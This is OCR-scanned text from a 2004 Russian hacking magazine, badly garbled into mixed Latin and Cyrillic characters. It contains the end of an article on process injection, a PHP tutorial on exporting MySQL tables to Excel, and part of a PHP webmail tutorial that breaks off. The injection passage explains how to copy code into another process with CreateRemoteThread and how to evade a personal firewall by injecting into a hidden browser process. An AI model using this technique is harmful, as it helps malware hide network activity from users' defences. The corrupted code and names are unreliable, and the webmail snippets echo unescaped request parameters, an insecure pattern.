нашей программы. Функция ѴігІиаІАІІосЕх 
справится с этой задачей очень просто, 
стоит только указать ей, по какому адресу, 
сколько и зачем выделять памяти. Если ад- 
рес для выделения поймать легко - это 
всего лишь адрес базы нашего процесса, 
который получается с помощью 
ОеШос1и1еНапс11е(МиЩ, то вот объем вы- 
деляемой памяти нужно будет вычислять. 
Можно, конечно, выделить наугад полтора 
мега, но вряд ли из этого выйдет что-ни- 
будь хорошее. Необходимый объем памя- 
ти, то есть размер образа, можно прочесть 
в одной из ячеек РЕ-заголовка нашего про- 
цесса, если быть точным, то в 8 І 2 еОЯтаде 
опционального заголовка (в коде это выг- 
лядит страшновато, но если разобраться в 
формате, станет все ясно). 

Выделив память, остается аккуратно, 
постранично (по 0 x 1 000 байт) перенести 
весь наш образ в чужое адресное простран- 
ство, не забывая перед копированием прос- 
тавлять РАОЕ_ЕХЕСиТЕ_ВЕАОѴѴВІТЕ на памя- 
ти с помощью функции ѴііІиаІРгоіесіЕх. Ко- 
пирование может обломаться, если память 
по заданному адресу уже выделена процес- 



сом-жертвой. Чтобы этого избежать, я мак- 
симально сдвигаю образ нашей программы 
еще в процессе сборки ее РЕ-заголовков с 
помощью директив компилятора: 

йргадта соттепі(Ііпкег,"/ВА5Е:0х13140000") 

После удавшегося копирования от нас 
потребуется только запустить необходимую 
функцию НАШЕЙ программы в ЧУЖОМ про- 
цессе. К примеру, чтобы в чужом процессе 
работала наша функция Іипс, нужно всего 
лишь запустить функцию 
СгеаІеВетоІеТбгеасІ, указав в ее первом па- 
раметре хэндл процесса, а в третьем - имя 
запускаемой функции. Для совместимости 
своей программы со старыми версиями ѴѴіп 
(Эх-винды, увидев незнакомую функцию, об- 
ломают нам весь кайф) СгеаІеВетоІеТіігеасІ 
я не прописываю в таблице импорта, а нахо- 
жу с помощью ОеІРгосАсІсІгезз. 

На этом собственно инжектирование за- 
кончилось, остальное - уже последствия 
инжекта. К примеру, в запускаемой Іипс 
необходимо подгрузить все ОН, которых 
заведомо нет в процессе-жертве, иначе АРІ 
могут не заработать. Просто вставь для 
корректной работы в начало функции что- 
нибудь вроде этого: 

::Еоа(Ш1)гагу("и8ег32.(1Н"): 

::ЕоайЕіЬгагу(\82_32.йІІ"): 

::Еоас1ЕіЬгагу("(1п8арі.(ІН"): 

КПИЗИРФПЙРВОПУ 

Чтобы тебе было максимально понятно, за- 
чем все это дело нужно, реализуем обход 
персонального файрвола на основе изучен- 
ной только что технологии. С помощью ин- 
жектирования, насколько мне известно, фай- 
ры можно обойти двумя способами. 

Первый способ - обыкновенное внедре- 
ние кода в процесс файрвола. Оказывается, 
некоторые защиты не детектят собственного 
обращения в Сети :). Современные версии 
файрволов этому не подвержены. 

Второй способ - инжектирование в про- 
цесс браузера, который обычно содержится 
во всех списках доверенных приложений. 
Для его реализации нужно всего лишь соз- 
дать скрытую копию процесса іехріоге.ехе 
(дефолтового браузера) с помощью функ- 
ции СгеаІеРгосезз, записать полученный Ю 
процесса и использовать его в функции 
внедрения кода. 

После этого в инжектируемой функции 
можешь использовать любые соединения с 
инетом и не напрягаться, что файрвол это 
дело пресечет. 

.і_а8ИНЕТ 

я мог бы бесконечно рассказывать о воз- 
можностях технологии Ргосезз 1п)ес11оп и ню- 
ансах ее реализации, но, к сожалению, я 
сильно ограничен в объеме. Если тебе хо- 
чется больше информации - рой Сеть. Нап- 
ример, на сайте древнейшего хакерского 
журнала Рбгаск есть интересный материаль- 
чик про обход файрволов с помощью этой 
техники. Если у тебя возникнут какие-нибудь 
вопросы - пиши, я с удовольствием пообща- 
юсь с тобой по почте. 

На этом я заканчиваю свой рассказ. Удач- 
ного компилирования, и да пребудет с тобой 
Сила. 
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® Тел.: (095) 928-0360 
(095) 928-6089 
(095) 928-3574 

іА(ѵ\(ѵк.датеро8І.ги 











коро Новый гоп, и вознух постепенно напопилетсп этой неповторииой зимней негой, которая пахнет мандаринами, снегом, епкой, 
гпинтвейнои и пыжным парафином. Ты, наверное, уже вовсю бегаешь но магазинам в поисках спиртного, зепеной епки, игрушек и 
смешных подарков. С моей стороны быпо бы большой подставой разрушать эту атмосферу, поэтому я хочу поддержать твое 
новогодне-романтическое настроение и рассказать о пробпеие экспорта данных из шеЬ-среды в формат хів. 



УЧИМСЯ ЭКСПОРТИРОВПТЬ УГЕВ-РПННЫЕ в ФОРИПТ ЕХСЕГЯ — 

А СТОЛКНОВЕНИЕ С ЗППНЧЕЙ А НПБОР ЮНОГО ХИРУРГИ А ТОЧИИ КОНЬКИ 



а самом деле это весьма акту- 
альная задача. Последний раз 
я сталкивался с ней, когда пи- 
сал автоматизированную сис- 
тему редакторской работы над 
текстом. Я пожалел нашего ли- 
тературного редактора и не 
стал, как Горлум, писать прог- 
рамму, которая бы автоматически редактиро- 
вала тексты специальным эвристическим ал- 
горитмом (в основном эта прога вставляет 
матерные слова, кстати. Редактирования я за 
ней не заметил. - Прим. Ог.). Я хотел лишь 
сделать систему, которая бы позволила удоб- 
но управлять работой авторов и генерировать 
оптимальным образом план «Взлома», а так- 
же ряд других документов. Проблема была в 
том, что все эти документы, которыми мы об- 
мениваемся в редакции, находятся в формате 
экселевских таблиц, и мне надо было, чтобы 
не сильно напрягать суровых боссов Куттера 
и Симбиозиса, научиться экспортировать 
данные из РНР-скриптов в этот формат. Это 
оказалось совсем даже не сложно! 

Судя по приходящим мне письмам, эта 
проблема актуальна и для многих читателей. 
Поэтому я решил отнять у тебя 1 5 минут и рас- 
сказать о том, как же это можно реализовать. 




Возможно, тебе покажется, что это очень 
сложно - генерировать хіз-файлы в РНР. 
Ведь МІСГ050Й использует специальный 
нетекстовый формат представления дан- 
ных. И обрати внимание, я говорю не о 
банальном импорте в ЕхсеІ текстовых 
файлов с разделяемыми двоеточием по- 
лями, а о генерировании полноценных 
ХІ8-ЛИСТОВ со всем форматированием и 
даже встроенной логикой. Конечно, эти 
функции доступны только после установ- 
ки специального расширения 
РЕАВ::5ргеасІ5Ііееі_ЕхсеІ_Ѵ\/гі1ег, но воз- 
можности, которые открывает этот мо- 
дуль, превосходят все ожидания! Он на- 
писан на чистом РНР без использования 
каких-либо системных расширений, поэ- 
тому твои программы будут работать под 
любой, даже самой экзотичной ипіх-сис- 
темой и, разумеется, под виндой. Фак- 
тически РЕАВ: :5ргеасІ8Ііееі_ЕхсеІ_Ѵ\/гіІег 
вместе с РЕАВ::01Е создают полноцен- 
ный интерфейс для работы с Х18-файла- 
ми. Мне остается лишь выразить рес- 
пект ребятам, которые наколбасили та- 
кое гипернужное расширение, - это 
Ксавьер Ногюер (Хаѵіег Модиег) и Мика 
Тупола (Міка Тиироіа). 



Прежде чем приступать к активной работе, 
необходимо установить расширение 
РЕАВ::5ргеасІ8Ііееі_ЕхсеІ_Ѵ\/гііег. Делается это 
элементарно: 

$ реаг іпзіаІІ ОІЕ 

$ реаг ІпзіаІІ -1 5ргеасІзІіееІ_ЕхсеІ_1Л/гіІег 

Утилита реаг сама скачает из инета самую 
свежую версию этих расширений и устано- 
вит их в нужное место. Обрати внимание на 
флаг -і\ он необходим, чтобы можно было 
устанавливать не только зіаЫе версии, но и 
бетки. После того как установка завершена, 
ты уже можешь использовать всю мощь это- 
го пакета. Давай, чтобы не засиживаться на 
месте, разберемся, как пишутся программы 
для генерации документов ЕхсеІ. Прежде 
всего, необходимо подключить к твоему сце- 
нарию 8ргеасІ8Ііееі_ЕхсеІ_Ѵ\/гііег. Это доволь- 
но легко сделать при помощи вызова функ- 
ции гедиігеС'ЭргеасІзІіееѴЕхсеІ/ѴѴпіег.рІір"). 
Затем нужно сделать экземпляр класса и по- 
лучить ссылку на этот объект, делается это в 
общем случае примерно так: $х1 =& пеѵѵ 
8ргеасІ8Ііееі_ЕхсеІ_Ѵ\/піег(). Обрати внимание: 
знак амперсанда «&» символизирует опера- 
цию получения ссылки-указателя на этот 
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в ЕШІ, на ЭКСПОРТ! 





Установка библиотеки под РгееВЗО 



объект. Затем необходимо создать файл и 
добавить к нему новый лист, не забыв полу- 
чить адрес нового объекта: $зІіее1 =& $х1з- 
>асІсІѴ\/огк8Ііееі('Віпагу СоипГ). После этого 
мы уже можем добавлять на лист сведения 
при помощи метода шЩ), а в конце работы 
обязаны завершить работу с листом, вызвав 
процедуру с1озе(). В итоге получается при- 
мерно такая вот схема: 



Элементарный пример 



<?ріір 

гериіге.опсе "$ргеа(]$[іееі/ЕхсеіМгііег.р[ір": й Подключаем 
нужную библиотеку 

$х1 =& леи/ Зргеаб$ііееі_ЕхсеІ_1Л/гііег(): I* Создаем новый объ- 
ект и получаем указатель на него. Все дальнейшие действия 
осуществляются через этот дескриптор */ 
$хІ->$епб("іе$і.хІ$"): I* Посылаем клиенту нужные заголовки 
*/ 

$$ііееі =& $хІ->аббЩогк$ііееі('Наша первая таблица'): /* Соз- 
даем новый лист */ 

Еог ($і=0:$і<11;$і++ ) { 

$$ііееі->ѵѵгііе($і,0,піб5($і)): I* Забиваем мусором таблицу. Это 
же тупой пример :) */ 

} 

$х1$->с1о$е(): 

?> 

Теперь если ты откроешь этот скрипт 
в своем браузере, по идее, отобразится хіз- 

/ ЧТОТПКОЕРЕПН? 




страница (юзеров Іупх это не 
касается :)). 

Ну вот, думаю, здесь все понятно. Теперь 
можно двигаться дальше. Как ты заметил, 
абзацем выше мы просто создали новый до- 
кумент и вывели его клиенту, нигде не сох- 
раняя. Если такая динамическая работа тебя 
не устраивает и ты хочешь физически сохра- 
нить файл, необходимо всего лишь указать 
желаемое имя в качестве параметра к мето- 
ду 5ргеасІ8Ііее1_ЕхсеІ_Ѵ\/гіІег. 

Чтобы тебе было проще разобраться, со- 
ветую посмотреть готовые примеры, кото- 
рые я положил на наш диск и на сайт 
ііир://ігеб.іпіп$.ги/ха. 

А сейчас я бы хотел более подробно рас- 
сказать об АРІ этой библиотеки. 

.ІУЗНРЙПРІВПИЦО 

Какие еще функции нам доступны? Что и как 
мы можем делать? Туг не самая простая си- 
туация. Дело в том, что система довольно 
быстро развивается и постоянно появляются 
новые версии, каждая из которых наделяется 
все новыми и новыми возможностями. Что- 
бы получить наиболее полную специфика- 
цию этому модулю, можно воспользоваться 
утилитой рбрОоситепіог. Эта программа 
пропарсит исходные коды библиотеки и сос- 
тавит подробное описание всех методов. 
Однако для понимания всех главных фишек 
достаточно знать, как работают несколько 
базовых функций. Работа с системой начи- 





нается с создания экземпляра класса 
8ргеасІ5Ііее1_ЕхсеІ_Ѵ\/гііег, он выступает в ро- 
ли интерфейса для доступа ко всем осталь- 
ным классам в библиотеке. В нем описаны 
два чрезвычайно важных метода: 

^ асІсІѴѴогкзІіееіО. Эта функция возвращает 
экземпляр рабочего листа хІз. Все дальней- 
шие манипуляции с данными на листе осу- 
ществляются через полученный дескриптор. 

^ асІсІРогтаІ(). Этот метод создает формат- 
ный класс, в котором определяется формати- 
рование ячеек - размер символов, используе- 
мый шрифт, стиль текста, цвет ячейки и т.д. 

Что касается методов, используемых для 
добавления информации в ячейки, то здесь 
имеет смысл описать работу процедуры 
ѵѵгііеО, упоминание о которой ты уже встре- 
чал в предыдущих примерах. Первым аргу- 
ментом этого метода является номер строки, 
а вторым, как несложно догадаться, - номер 
столбца. Обрати внимание, что именно но- 
мер, а не буква, как это принято в ЕхсеІ. 

К этому придется привыкнуть. Давай попро- 
буем вместе. Буква О - шестая по алфавиту 
и соответствует столбцу под номером... 5! 

А все потому, что нумерация строк и столб- 
цов в нашей библиотеке начинается с нуля. 
Третий аргумент метода ѵѵгі1е() - это сами 
данные, которые нужно поместить в опреде- 
ленную ячейку. Есть и четвертый, необяза- 
тельный параметр, используемый для визу- 
ального форматирования ячеек. Также в клас- 
се 8ргеасІ5Ііееі_ЕхсеІ_Ѵ\/гііег_Ѵ\/огк8Ііееі присут- 
ствует множество функций для форматирова- 
ния листа в целом перед печатью, объедине- 
ния нескольких ячеек в одну и т.д. Какие-то 
из них я упомяну в этой статье, а какие-то 
оставлю тебе в качестве домашнего задания. 




^ Напоминаю, что 
на нашем диске ты 
найдешь приведен- 
ные в статье при- 
меры, а также до- 
кументацию и нес- 
колько сладких бо- 
нусов. Торопись ;). 



Е СЛИ ТЫ недолго программируешь на РНР, то, наверное, для 
тебя загадка, что же такое РЕАР. Ответ программиста: РЕАР 
- это груша по-английски. А еще это РНР Ехіепзіоп апсі 
Арріісаііоп Рерозііогу, репозиторий приложений и модулей 
РНР. Этакая структурированная библиотека разнообразных 
систем, поставляемых открытыми кодами. Благодаря этой сис- 
теме стало довольно удобно релизить какие-то собственные 
разработки и распространять свой код среди единомышленни- 
ков. Разумеется, эта система некоторым образом стандартизи- 
рует написание РНР-кода. Почитать о требованиях, предъявля- 
емых к коду, можно здесь: №р://реаг.рИр.пе1/^апиа1/ 
еп/8Іапс1агсі8.рИр. 

Более подробно о РЕАР можно почитать на сайте 

И«р://реаг.рИр.пе1, а также ѵѵѵѵѵѵ.опІатр.сопп/риЬ/а/ рИр/ 
2001/05/24/реаг.ИіппІ и ѵѵѵѵѵѵ.опІаппр.сот/риЬ/а/ рИр/ 
200 1 /07/1 9/реаг . ИІтІ . 
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ХШР/№12(72)/2004 



кодинг 



А Если при установ- 
ке библиотеки ути- 
лита реаг говорит 
тебе, что не найде- 
но ни одной 8(аЫе 
версии, просто 
укажи флаг -I. 




А Если после уста- 
новки ты никак не 
можешь подклю- 
чить библиотеку, 
наверное, у тебя 
косо указан 
іпсіибе-раііі. Вос- 
пользуйся следую- 
щей функцией; 
8еІ_іпсІи(1е_раІІіГ/ 
и8г/ІосаІ/ІіЬ/рІір/"). 
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^ «ОРКРПРаЕИШЕІІП 

Ты уже умеешь создавать хіз-листы и даже 
добавлять туда собственные данные. Это все 
здорово. Но как насчет более красивых доку- 
ментов? Тебе наверняка хочется научиться 
использовать различные шрифты, как-то 
зрительно выделять названия колонок и т.д. 
Все это можно довольно легко реализовать 
при помощи метода аббРогтаіО класса 
РЕАВ::8ргеасІ5Ііееі_ЕхсеІ_Ѵ\/п1ег. Для форма- 
тирования полученного объекта мы применя- 
ем его же методы, чтобы затем передать по- 
лученный форматный класс в качестве пара- 
метра для функции шЩ), что определит 
обрисовку указанной ячейки. 

^НР ЭКСПОРТ! 

Чтобы тебе было понятнее, я приведу здесь 
простенький пример. Давай создадим 
скрипт, который будет экспортировать дан- 
ные из указанной зді -таблицы в файл 
ЕхсеГя, выделяя зрительно названия коло- 
нок. Мы сделаем нашу программу универ- 
сальной, чтобы ее можно было использовать 
для любых зді-таблиц, независимо от их 
структуры. 



Экспорт 80[->Х[8 



с1а$$ $2х { 
ѵаг$(11): 

Іипсііоп сопѵ($іаЫе) { 
іИШе_ехі$і$("Іі/$іаЫе".".хІ5")){ 
ипІіпк("Іі/$іаЫе".".хІ$"): йЕсли файл существует, удаляем 



/ СКРЫТЫЕ МЕТОДЫ 

Д ОВОЛЬНО занимательный факт: в библиотеке, о которой я те- 
бе сегодня рассказывал, присутствуют, по крайней мере, 
три класса, скрытых от пользователей. Либо они недокументи- 
рованы, либо скрыты программно и не выставлены в объектный 
интерфейс. Тебе, скорее всего, не понадобится их использо- 
вать, однако для общего развития я опишу их: 

А 8ргеасі8ИееІ_ЕхсеІ_Ѵ\/гіІег_ѴаІісІа1ог позволяет добавлять 
проверочные правила для содержимого ячеек. То есть если поль- 
зователь вводит какие-то данные в одну из ячеек, с помощью это- 
го класса можно удостовериться в том, что он трезв и вводит под- 
ходящие по формату сведения. Самое смешное заключается в 
том, что я не встречал описание этого класса в инете, мне доста- 
точно лишь знать, что такой класс есть в принципе :). 

А 8ргеасІ8Иееі_ЕхсеІ_ѴѴгііег_Раг8ег. Назначение этого класса 
мне до конца не ясно, однако из названия можно сделать вы- 
вод, что это какой-то парсер. Скорее всего, это механизм соз- 
дания функций обработки листов с данными. 

А 8ргеасі8Иее1_ЕхсеІ_ѴѴгііег_ВІРРѵѵгі1ег позволяет сохранять 
файлы ЕхсеІ в одном из бинарных форматов. 



Это все здорово. 

Но как насчет 

более красивых документов? 



} 

гедиіге.опсе "Зргеа(1$[іееі/ЕхсеІ/Ѵ/гііег.р[ір": 

$х1$ =& пеѵѵ Зргеа(]$[іееі_ЕхсеІ_Ѵ/гііег("Іі/$іаІ)Іе".".хІ$"): 
$іШеЕогтаі =& $хІ$->а(1(]Еогтаі(): й Создаем форматный 
класс 

$іШеЕогтаі->$еіЕопіЕатіІу('Ѵег(]апа'): й И исправляем его 
свойства, меняя шрифт и стиль 
$ШІеЕогліаІ->$еіВоІ(](): 

$іШеЕогліаі->$еі8і7е('13'): 

$іШеЕогтаі->$еіСоІог('огапде'): 

$іШеЕогліаі->5еіВдСоІог('ЕЕЕЕЕЕ'): 

$$ііееі =& $хІ$->а(](]Шгк$[іееі("$іаЫе"): 

$ПеІ(]$ = ту$дМі$і_ПеІ(]$("$і[іі$->(][)", "$іаЫе"): йПолучаем 
список полей таблицы 

$пит!=ту$дІ_пилі_ПеІ(]$($!іеІ(]$): ^Считаем их количество 
^ог ($]=0:$]<$питС$]++) { йСтилем іііІеЕогтаі впечатываем 
каждое поле в нашу таблицу 




$Пі=ту$дІ_ПеІб_пате($ПеІб$, $]): 

$$ііееі->ѵѵгііе(0,$],$!іі, ЗШІеЕогліаі); 

} 

$$дІ="$еІесі * ^гот $іаЫе": йВыбираем все данные 
$ге=ту$дІ_диегу($$дІ): 

$і=1; 

ѵѵіііІе($ге$=ту$дИеіс[і_аггау($ге)){ 

!ог($]=0:$і<$пит!:$]++К ^Впечатываем их в таблицу 
$$ііееі->ѵѵгііе($і,$і,$ге$[$і]): 

} 

$і-: 

} $хІ$->сІо$е(): } 

есііо "Все прошло отлично, таблица сконвертирована в хІ$: 
<а іігеМ"Іі/$іаЫе".".хІ8"."\">Ііеге</а>": 

}} 

Это сокращенная версия моего класса, 
которую я поскипал специально для журна- 
ла. В полной версии, которую ты найдешь 
на диске и сайте 1іЕЕр://ігеб.іпіп$.ги/ха, присут- 
ствует дополнительный метод сопп(), с 
помощью которого я подключаюсь к базе 
данных. Что же касается основной функции 
сопѵ, то она работает следующим образом. 
Прежде всего проверяется, существует ли 



в папке ./Іі файл с названием таблицы. Если 
есть, он стирается. Затем я определяю, как 
будут обрисовываться ячейки, если я укажу 
в качестве их стиля $іііІеРогтаі. Для этого я 
использую стандартные методы этого клас- 
са. Полное их описание ты найдешь в доку- 
ментации на нашем диске. 

Затем я получаю список полей таблицы 
и в цикле по ним вставляю в нулевую строку 
их названия, указывая в качестве стиля 
$ІіІІеРогтаІ После этого происходит выбор- 
ка текстовых данных, и они уже в двумерном 
цикле тупо вбиваются в таблицу. Как видишь, 
ничего сложного нет и разобраться с этим 
довольно легко. 

Мне остается лишь пожелать тебе счастли- 
вого и угарного Нового года, счастья и позитива 






ДЕКАБРЬСКИЙ НОМЕР УЖЕ В ПРОДАЖЕ 




ИГРЫ 

ЫеесІ Іог 8реес1: ІіпсІегдгоипсІ 2 

Разбиться нельзя 
Можно только взлететь 



МесІаІ оі Нопог: Расіііс АазаиІІ 

Янки против Камикадзе 
Кубок Тихоокеанского региона 



ПРАВДА ЖИЗНИ 

Утренний секс 

Заменяет 28 проверок почты 



СЕНСАЦИЯ 
Натуральная грудь 

в компьютерном журнале 



ЖЕЛЕЗО 
Лучший компьютер 

Теетируем три, побеждает один 



(дате)іаті 



ЧИТАЙ В ДЕКАБРЕ: 





И омантическая прогупка по городскоиу парку иожет принести массу интересных набпюдений. К примеру, как гопубей, 

еще не съеденных бомжами, откарипивают бупками старушки с внуками. Не всегда эти птицы рассматривапись топько как враги 
памятников, что нещадно обгаживают пысины выдающихся поэтов, муэыкантов и попитиков. В быпые времена весьма 
распространенным видом свяэи быпа гопубиная почта. И еспи пет сто наэад наш журнап расскаэап бы тебе, как самому построить 
гопубятню, сегодня мы рассмотрим написание веб-мейпа. 




УНИВЕРСППЬНЫЙ ШЕВ-ИНТЕРФЕЙС ППЯ ПОЧТЫ 30 1 0 МИНУТ 



X 




К онечно, раньше было веселее. 

В условиях осажденной кре- 
пости, с янычарами, гроздями 
висящими на стенах, за под- 
могой посылали птичку. Но 
времена меняются. Железный 
конь пришел на смену кресть- 
янской лошадке, на смену те- 
леграфу пришел интернет, который теперь 
есть в любой осажденной крепости или сек- 
ретном бункере, и голубиной почте все чаще 
предпочитают е-мейл. 



<? ітар_ореп(): ?> 

В браузере наберем Іі1ф://имя.серве- 
ра/~имя.юзера/1.рІір или Шр://имя.сервера/1.ріір, в 
зависимости от выбранного каталога для 
скриптов. Если ответом вместо «ѵѵгопд 
рагатеіег соипі» будет «саІІ іо ипбеііпесі 
іипсііоп», придется пересобрать РНР или 
подключить к нему соответствующий мо- 
дуль. Если пересборка РНР не помогает, то, 
скорее всего, используется тосІ_рІір, кото- 
рый тоже нужно обновить. 



А поаготовкр 

Набор юного вебмейлостроителя включает в 
себя в две вещи - веб-сервер Арасбе (или 
115) и РНР. В последнем из встроенных рас- 
ширений нам понадобятся ІМАР-функции, 
которые, несмотря на название, умеют рабо- 
тать и с РОРЗ. О месте для скриптов нам 
придется позаботиться отдельно. Прежде 
всего, оно сильно зависит от конфигурации. 
Если речь идет о Линуксе, то в нем, скорее 
всего, скрипты будут запускаться из 
риЫіс_ІіітІ/ в домашнем каталоге или гло- 
бально - из /ѵаг/ѵѵѵѵѵѵ/ІосаІІі08І/ІіісІос5/. Заод- 
но с каталогом надо проверить, подходит ли 
нам установленный РНР. Создадим файл 
1 .рбр, состоящий из строчки 



А ЧТО ПИШЕМ? 

В некотором смысле наш веб-мейл будет 
уникален, потому что позволит работать с 
любым ящиком, доступным по РОРЗ. Ма- 
шинки, на которых хостятся ящики, могут на- 
ходиться где угодно. Главное, чтобы до них 
можно было достучаться с нашего веб-сер- 
вера. Порт рорЗ (1 10) в сети, где находится 
сервер, должен быть открыт для исходящих 
соединений. 

Скрипт будет соединяться с заданным 
ящиком, где бы он ни был, и вычитывать его 
содержимое. Основное преимущество такого 
подхода в том, что нам не придется замора- 
чиваться с работой с почтовыми ящиками 
пользователей, их блокированием, множест- 



венным доступом и прочими напряжными 
вещами. За нас это сделает РОРЗ-сервер. А 
ЗМТР-сервер займется отправкой свежена- 
писанных в нашем веб-мейле перлов. При 
желании, немного модифицировав скрипты, 
можно все свести к проверке только локаль- 
ных РОРЗ-адресов или же ограничить список 
серверов, с которыми позволяется работать. 
Кроме этого, роотаіі (так в дань памяти поч- 
товых птиц называется наша система) будет 
содержать еще одну вкусность - жутко удоб- 
ный интерфейс для редактирования сообще- 
ния перед отправкой в НТМІ- режиме. Ра- 
зобьем веб-приложение на отдельные стра- 
нички: 

О. Вход. Здесь у юзера будут спрашивать 
логин, пароль, а также имя или ІР-адрес ма- 
шинки с ящиком. Іодіп.рбр будет подходя- 
щим названием такого скрипта. 

О. Отображение содержимого ящика. 
Здесь будет выводиться список сообщений, 
коварно поджидающих юзера в ящике 
(Іізі.рбр). 

©. Просмотр отдельного сообщения из 
ящика (геаб.рбр). 

О. Создание и отправка нового сообще- 
ния или ответ на полученное с цитировани- 
ем (зепсі.ріір). 
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Написание роотаіі не потребует особенно 
могучих знаний, достаточно лишь общего 
знакомства с РНР (который при знании С 
учится за три минуты), а также с НТМІ и 
таблицами в нем для лучшего форматирова- 
ния отображаемой инфы. Проблема опреде- 
ления реакции на кнопки лучше всего реша- 
ется с помощью самых простых из возмож- 
ных вставок на ^аѵа8сгір^. 

.івход 

в РНР есть понятие сессий, что очень удоб- 
но для хранения данных, которые вводятся 
один раз, но могут быть использованы на 
разных страницах. Доступны они будут ровно 
столько, сколько юзер будет ходить по сай- 
ту. Для того чтобы воспользоваться сессией 
в скрипте, достаточно поставить в его нача- 
ло вызов функции 8е88Іоп_8іаі1(), а с данны- 
ми работать посредством массива $_8Е8- 
810М[]. Собственно, все параметры ящика, 
заданные юзером в Іодіп.рбр, следующая 
страница, Іізі.рбр, аккуратно положит в сес- 
сию. А поскольку Іодіп.рбр будет вызываться 
только в случае нового входа, сессию в нем 
мы будем очищать. Это полезно, так как 
страница эта будет также вызываться из 
других по кнопке Іодоиі В этом случае будет 
полезно потереть все важные поля сессии: 

$_8Е58ІОН[іі05і] = $_5Е58І0Н[іодіп] = $_Р0$Т[ра55ѵѵог(]] = 

.і ПОТРОШИИЯЩИК 

Чтобы достучаться до почтовика с заданны- 
ми на предыдущей странице параметрами, 
воспользуемся семейством функций ітар. 
Как и 1 00% всей остальной функциональнос- 
ти РНР, они подробно описаны в мануале. 
Больших хитростей здесь и не предвидится. 
Итак, сыграем в ящик: 

$тЬох = @ітар.ореп("{".$_ЗЕ$$I0N[йо$і].":110/рорЗ}INВ0X", 

$_8Е58І0Н[Іодіп],$_8Е58І0Н[ра5$иог(]]): 

Координаты задаются текстовой строкой 
немного специфического формата «{сер- 
вер:порт/протокол}». Остальное - собствен- 
но логин и пароль. Если по каким-то причи- 
нам сыграть в ящик не удалось, ітар_ореп() 
возвращает РА18Е. Так что следом стоит 
поставить проверку вроде «іІ(!$тЬох)». В 
РНР есть небольшая хитрость для удобства 
отладки: по умолчанию установлено, что в 
случае возникновения каких-то проблем 
функции выдают сообщения об ошибке. Это 
можно убрать глобально, с помощью пара- 
метра еггог героіТіпд в рбр.іпі, однако делать 
этого не стоит - затруднит обнаружение воз- 
можных косяков. Чтобы не прибегать к столь 
радикальной лоботомии, авторы придумали 



модификатор «@», который, будучи постав- 
ленным перед названием функции, запреща- 
ет ей и только ей выдачу сообщения о прои- 
зошедшей неполадке. Поэтому если 
ітар_ореп() не сможет соединиться с серве- 
ром или указанный в Іодіп.рбр пароль не по- 
дойдет к логину, скрипт тихонечко продол- 
жит выполнение вплоть до проверки резуль- 
тата. Ну а если все будет путем (на это и на- 
деемся), то с помощью $тЬох можно прис- 
тупить к работе. Например, вычитывать со- 
общения. Содержимое можно вычитать цик- 
лом, в качестве подготовки к которому име- 
ет смысл получить данные о ящике: 

$іпЕо = ітар.іпаіІЬохпіздіпЕоіЗтЬох): 

Помимо прочей полезной инфы, в $іпІо- 
>Мтзд8 мы поимеем количество ожидаю- 
щих в конце тоннеля мессаг. Теперь можно 
смело запускать цикл: 

Еог($і = 1; $і <= $іп!о->Нт$д8: $і++) { 

$іі = ітар_Ііеа(]егіп!о($піІ)ох, $і); 

II Обработка заголовка. 

} 

Наконец, к каждому из полей заголовка в 
списке прицепим ссылку на скрипт, открыва- 
ющий данную мессагу на чтение. В нашем 
скрипте ІізТрІір это делается так: 

$иг1 = "геасІ.рІір?п=".(іпі)$Іі->М$дпо: 

<ісІ><поЬг><а ііге!="<?= $иг1 ?>"><?= $Іі->М8дпо ?></а></1(]> 



Таким образом, при нажатии на ссылку 
будет запрашиваться геасі.ріір с единствен- 
ным параметром п, содержащим номер со- 
общения. 

^ ЧИТРЕИ 

Сообщения на почтовике идентифицируются 
порядковым номером. Любое обращение к 
конкретной мессаге в ящике осуществляется 
посредством таких номеров. Так как мы уже 
дошли до страницы с просмотром отдельно- 
го письма, заглянем в скрипт и узнаем, как 
это делается: 

$іі = ітар_[іеабегіп!о($тЬох, $_6ЕТ[п]): 

ЗЬобу = ітар_ЬосІу($піЬох, $_6ЕТ[п]); 

Номер задается параметром п, который 
мы передаем нужным функциям. В итоге $б 
содержит информацию о заголовке, а $Ьос1у 
- тело письма. Кроме заголовка и текста со- 
общения, на странице геасі.ріір можно заме- 
тить несколько кнопок: «Ответить», «Уда- 






кино 




иі іуфдкас 






кодинг 




А Полный комплект 
роотаіі найдешь 
на диске. Туда же 
включен и 
НТМІАгеа. Доста- 
точно просто рас- 
паковать архив в 
каталог веб-серве- 
ра и можно нас- 
лаждаться. Старто- 
вый иві - 
ІіНр://имя.серве- 
ра/путь/роотаіі/іод 
іп.рИр 



ЛИТЬ», «Обратно» и «Выход». И если с пос- 
ледними двумя все ясно - простенький 
^аѵа5с^ірі в поле опСІіск делает редирект на 
Іівірбр и Іодіп.рбр соответственно, то к пер- 
вой паре кнопок стоит присмотреться вни- 
мательно. При нажатии на «Ответить» дела- 
ется редирект на скрипт вепсі.ріір, который 
без параметров открывает пустую форму на- 
писания нового сообщения. Однако здесь 
мы передаем параметр геріу с номером чи- 
таемой мессаги в качестве значения. Это 
заставит вызываемый скрипт автоматически 
заполнить заголовок, а в поле с телом сооб- 
щения поставить текст оригинала с цитиро- 
ванием. Кнопка «Удалить» сделает так, будто 
в странице со содержимым ящика юзер сам 
отметил чекбокс напротив текущего сообще- 
ния и нажал «Удалить». Скрипту Іізірбр мы 
подставим параметр «с1е1[]=М», где N - но- 
мер читаемой мессаги. 

опСІіск='іор.Іосаііоп.ііге^="1і5І.р[ір?(]еІ[]=<?= $_6ЕТ[п] ?>"' 

А УДРПЯЕИ 

Равно как в геасі.ріір, в странице со списком 
предусмотрена возможность удалить поме- 
ченные сообщения. Напротив каждого эле- 
мента списка мы предусмотрительно расста- 
вили чекбоксы, пометив которые и нажав 
«Удалить», можно отправить к праотцам не- 
навистный спам. Жаль, конечно, что не 
вместе с его авторами. Но мы над этим ра- 
ботаем :). Вот так выглядят чекбоксы в коде 
страницы: 



<ісІ><іприі іуре-'сііескЬох" пате="(]еі[]" ѵаІие="<?= (іпі) $іі- 
>М$дпо ?>"></!(]> 



РНР умеет формировать массивы из эле- 
ментов формы с одинаковыми именами, если 
имена эти заканчиваются на «[]». Таким обра- 
зом, в скрипте мы получим массив выбранных 
номеров в $_СЕГ[с1е1]. Так как нажатие кнопки 
«Удалить» заставляет скрипт обратиться с 
нужными параметрами к самому себе, всякий 
раз при старте ІізТрбр ты должен делать про- 
верку на запросы удаления отдельных мессаг. 
Для этого пройдемся по массиву $_С1ЕГ[с1е1] и 
отметим для удаления каждый из выбранных 
номеров с помощью Ітар_с1е1еіе(). А по окон- 
